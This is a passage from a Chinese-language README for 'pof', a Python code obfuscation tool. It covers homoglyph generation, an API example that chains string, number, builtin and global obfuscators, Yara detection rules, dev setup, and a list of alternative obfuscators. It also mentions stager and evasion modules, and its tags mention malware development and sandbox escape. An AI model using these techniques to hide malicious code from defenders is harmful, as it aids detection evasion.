AdvancedGenerator.realistic_generator(), 10: BasicGenerator.alphabet_generator(), 4: BasicGenerator.number_name_generator(length=random.randint(2, 5)), } gen = AdvancedGenerator.multi_generator(gen_dict) for _ in range(4): print(next(gen)) ``` ### 同形字 [同形字](https://en.wikipedia.org/wiki/Homoglyph) 是具有相同形状且看起来完全相同的字形。有一个生成器可以帮助创建它们。 `Hello, world!` 的同形字示例: ``` H𝐞llo, world! Hello, ᴡorld! Hello, worldǃ Hello, world! Hеllo, world! Hello, woгld! Hello, woꭈld! Hello, world! Hello, worldǃ Hello¸ world! Hello, world! ``` 用法: ``` from pof.utils.se import HomoglyphsGenerator def get_homoglyphs(): generator = HomoglyphsGenerator() text = "Hello, world!" for _ in range(10): homoglyph = generator.get_single_homoglyph(text) print(homoglyph) ``` ## Python API pof 的真正威力在于轻松链接多种不同的混淆技术,有一个非常简单的 Python API 可以做到这一点。 例如,这是默认混淆器的一个片段: ``` import random from pof import BaseObfuscator from pof.obfuscator import ( BuiltinsObfuscator, CommentsObfuscator, ConstantsObfuscator, ExceptionObfuscator, GlobalsObfuscator, LoggingObfuscator, # NamesObfuscator, NumberObfuscator, PrintObfuscator, StringsObfuscator, ) from pof.utils.extract_names import NameExtract from pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator class ExampleObfuscator(BaseObfuscator): def obfuscate(self, source: str): # tokenize Python source code tokens = self._get_tokens(source) # get all the names and add them to the RESERVED_WORDS for the generators reserved_words_add = NameExtract.get_names(tokens) BaseGenerator.extend_reserved(reserved_words_add) # remove comments tokens = CommentsObfuscator().obfuscate_tokens(tokens) # replace logging message with reversable random code tokens = LoggingObfuscator().obfuscate_tokens(tokens) # remove print statements tokens = PrintObfuscator().obfuscate_tokens(tokens) # replace exceptions with reversable random names tokens = ExceptionObfuscator( add_codes=True, generator=BasicGenerator.number_name_generator(), ).obfuscate_tokens(tokens) # configure global generator generator = AdvancedGenerator.multi_generator({ 86: AdvancedGenerator.realistic_generator(), 10: BasicGenerator.alphabet_generator(), 4: BasicGenerator.number_name_generator(length=random.randint(2, 5)), }) # extract values and function to make them constant tokens = ConstantsObfuscator( generator=generator, obf_number_rate=0.7, obf_string_rate=0.1, obf_builtins_rate=0.3, ).obfuscate_tokens(tokens) # FIXME: broken for the moment # tokens = NamesObfuscator(generator=generator).obfuscate_tokens(tokens) # obfuscate function calls by calling `globals()` instead tokens = GlobalsObfuscator().obfuscate_tokens(tokens) # obfuscate builtins in many different ways tokens = BuiltinsObfuscator().obfuscate_tokens(tokens) b64decode_name = next(generator) b85decode_name = next(generator) string_obfuscator = StringsObfuscator( import_b64decode=True, import_b85decode=True, b64decode_name=b64decode_name, b85decode_name=b85decode_name, ) # obfuscate strings in many different ways tokens = string_obfuscator.obfuscate_tokens(tokens) # for futur usage of `string_obfuscator` don't re-import base64 and 85 string_obfuscator.import_b64decode = False string_obfuscator.import_b85decode = False # obfuscate numbers twice in a row in many different ways for _ in range(2): tokens = NumberObfuscator().obfuscate_tokens(tokens) # obfuscate builtins once again tokens = BuiltinsObfuscator().obfuscate_tokens(tokens) # obfuscate strings two more times for _ in range(2): tokens = string_obfuscator.obfuscate_tokens(tokens) # and produce Python source code from tokens return self._untokenize(tokens) print(ExampleObfuscator().obfuscate(open("source.py", "r").read())) ``` 在这个例子中,我们可以看到首先我们删除注释、日志、打印语句,并更改异常的内容。然后我们开始混淆常量、名称、全局变量、内置函数、字符串。然后多次混淆字符串和数字,最后我们将 token 转换回代码。 通过链接多种混淆技术,我们可以创建非常复杂和自定义的输出。 Pof 还提供规避方法,详见下文,它们对于快速简单的规避很有用,并且可以使用和定制以满足需求。 有关如何使用 pof Python API 的更多示例,请查看 [examples/](./examples) 目录。 ## Yara Yara 规则可用于检测恶意软件,也可用于在 Python 源代码中查找有趣的字符串。要根据源文件和/或混淆文件检查规则,请运行: ``` yara --no-warnings yara/python.yar file.py ``` ## 开发 项目目录结构: - `pof`:包含所有 pof 源代码。 - `pof/obfuscator`:包含混淆器。 - `pof/stager`:包含分阶段器。 - `pof/evasion`:包含规避模块。 - `pof/utils`:分阶段器、混淆器和规避模块之间的所有共享代码。 - `wip`:正在进行中的代码,最终将进入主代码库。 - `tests`:pof 的单元测试。 - `scripts`:一些用于开发或使用 pof 的有用脚本。 - `yara`:一些用于检测 pof 混淆代码的 Yara 规则。 设置开发环境: ``` python3 -m venv venv # 激活它 (或针对您的 shell 的等效命令) source ./venv/bin/activate # 安装依赖 pip install -e . pip install -e ".[dev]" pip install -e ".[test]" ``` 运行 pof CLI: ``` ./pof.py --help ``` 运行测试: ``` pytest ``` 格式化: ``` ruff format . ``` Lint 检查: ``` ruff check . ``` 测试构建包: ``` # 安装依赖 pip install -e ".[build]" check-manifest --ignore "tests/**" python3 -m build python3 -m twine check dist/* ``` ## Python 2 没有做出任何努力来支持 Python 2,大多数混淆器、分阶段器和规避模块应该开箱即用,但没有经过测试。 ## 替代方案 其他 Python 混淆项目: - [0x-Apollyon/Papyrus](https://github.com/0x-Apollyon/Papyrus) - [Hnfull/Intensio-Obfuscator](https://github.com/Hnfull/Intensio-Obfuscator) - [lepotekil/MsfMania](https://github.com/lepotekil/MsfMania) - [billythegoat356/Hyperion](https://github.com/billythegoat356/Hyperion) - [spyboy-productions/ObfuXtreme](https://github.com/spyboy-productions/ObfuXtreme) - [chris-rands/emojify](https://github.com/chris-rands/emojify) - [0sir1ss/Anubis](https://github.com/0sir1ss/Anubis) - [0sir1ss/Carbon](https://github.com/0sir1ss/Carbon) - [billythegoat356/Apollyon](https://github.com/billythegoat356/Apollyon) - [billythegoat356/Berserker](https://github.com/billythegoat356/Berserker) - [brandonasuncion/Python-Code-Obfuscator](https://github.com/brandonasuncion/Python-Code-Obfuscator) - [CSM-BlueRed/Impostor](https://github.com/CSM-BlueRed/Impostor) - [ImInTheICU/ExtraLayer](https://github.com/ImInTheICU/ExtraLayer) - [root4031/pyobfuscate](https://github.com/root4031/pyobfuscate) - [therealOri/PolyLock](https://github.com/therealOri/PolyLock) - [FlorianREGAZ/PyObfuscator](https://github.com/FlorianREGAZ/PyObfuscator) ## TODO - 修复 `NamesObfuscator`。 - 修复多行字符串。 - 添加选项以在开头添加 shebang,并添加自定义它的能力。 ## 许可证 pof 根据 [GPLv3](./LICENSE) 授权。
标签:DNS 反向解析, Python, Staged Payload, 中高交互蜜罐, 云资产清单, 代码混淆, 加密, 动态分析检测, 嗅探欺骗, 恶意软件开发, 攻击框架, 无后门, 权限维持, 模糊处理, 沙箱逃逸, 漏洞扫描器, 私有化部署, 编码, 网络调试, 自动化, 请求拦截, 载荷生成, 逆向工具, 逆向工程, 防御规避, 静态分析规避